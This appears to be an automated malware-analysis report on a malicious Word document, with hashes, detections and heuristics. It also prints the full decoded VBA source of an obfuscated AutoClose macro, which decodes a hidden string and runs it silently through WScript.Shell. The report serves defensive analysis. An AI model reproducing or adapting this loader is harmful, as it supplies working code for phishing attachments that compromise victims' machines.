Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a3d86b86f08def93…

MALICIOUS

Office (OOXML)

53.5 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-01-07
MD5: 1e0220c4b3b7df9f64f35de39aa9886c SHA-1: 25b03486e53fd57f21be2b2dad2ff6375b60d9b6 SHA-256: a3d86b86f08def93a12afbbcb1748d60859277c3515c2fbf211a1e0d9cf0998d
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing heavily obfuscated VBA macros. The AutoClose macro is present and uses a custom decoder function ('teach') to reconstruct a string, which is then passed to Application.Run. This indicates the macro is designed to execute a secondary payload, likely a downloader. The presence of CreateObject and Shell() calls further supports this, suggesting the execution of external code. The specific payload and its ultimate destination are not directly discernible from the provided evidence.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6707243-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6707243-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If thlaspi - pitcherful > 1 Then
       CreateObject(Trim(overtrumped) & ".Shell").Run prebacillary, 0
       blunderbusses = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "casettes", thyrsi
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If thlaspi - pitcherful > 1 Then
       CreateObject(Trim(overtrumped) & ".Shell").Run prebacillary, 0
       blunderbusses = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  gametogenesis = Array("D", "m", "9", "", "S", "z", "c", "M", "c", "I", "9", "", "", "b", "7", "w", "w", "c", "a", "S", "L", "S", "", "v", "a", "6", "v", "S", "", "m", "R", "S", "o", "S", "6", "c", "a", "S", "", "K", "S", "m", "z", "O", "n", "D", "w", "X", "0", "k", "w", "6", "v", "D", "S", "z", "b", "9", "b", "8", "f", "", "D", "S", "J", "K", "c", "p", "m", "f", "m", "c")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2131 bytes
SHA-256: 8db5717fbf1cda0f5fa01a8fb9983b0f7c13ea1c51438b4dc0290de4b05d0b25
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function teach(gametogenesis)
  progeny = Array("z", "", "R", "7", "M", "v", "n", "I", "D", "w", "k", "f", "S", "c", "X", "J", "K", "m", "L", "9", "6", "8", "o", "b", "0", "a", "p", "O")
  roughleg = Array(".", "t", "k", ":", "x", "i", "o", " ", "m", "/", "K", "u", "a", "e", "A", "=", "v", "s", "n", "h", "l", "?", "z", "p", "F", "b", "r", "c")
  
  nonesuches = vbNullString
  
  For Each colon In gametogenesis
    stm = abiogenetically(colon, progeny, UBound(progeny))
    If stm > -1 Then
    nonesuches = roughleg(stm) & nonesuches
    End If
  Next
  
  teach = StrReverse(nonesuches)
  
End Function

Public Function abiogenetically(tautog, encephalonarcosis, distortions)
  oxytonize = 5553
  laconic = 772
  For oxytonize = 0 To distortions
    If encephalonarcosis(oxytonize) = tautog And oxytonize > -1 Then
     laconic = oxytonize
    End If
  Next

  If laconic = 772 Then
    laconic = -1
  End If
  
  abiogenetically = laconic
End Function

Sub AutoClose()
  gametogenesis = Array("D", "m", "9", "", "S", "z", "c", "M", "c", "I", "9", "", "", "b", "7", "w", "w", "c", "a", "S", "L", "S", "", "v", "a", "6", "v", "S", "", "m", "R", "S", "o", "S", "6", "c", "a", "S", "", "K", "S", "m", "z", "O", "n", "D", "w", "X", "0", "k", "w", "6", "v", "D", "S", "z", "b", "9", "b", "8", "f", "", "D", "S", "J", "K", "c", "p", "m", "f", "m", "c")
  thyrsi = teach(gametogenesis)
  
  Application.Run "casettes", thyrsi
  
End Sub


Private Sub casettes(prebacillary)
   
   overtrumped = "WScript"
   pitcherful = 3271
   blunderbusses = True
   
   While blunderbusses
     thlaspi = pitcherful + 60
     If thlaspi - pitcherful > 1 Then
       CreateObject(Trim(overtrumped) & ".Shell").Run prebacillary, 0
       blunderbusses = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 13cfbbe60fde23ef6ac31c81c93768d526cdb7234b2c5930e9a5ef37bff27db1
Detection
ClamAV: Doc.Malware.Generic-6707243-0
Obfuscation or payload: unlikely

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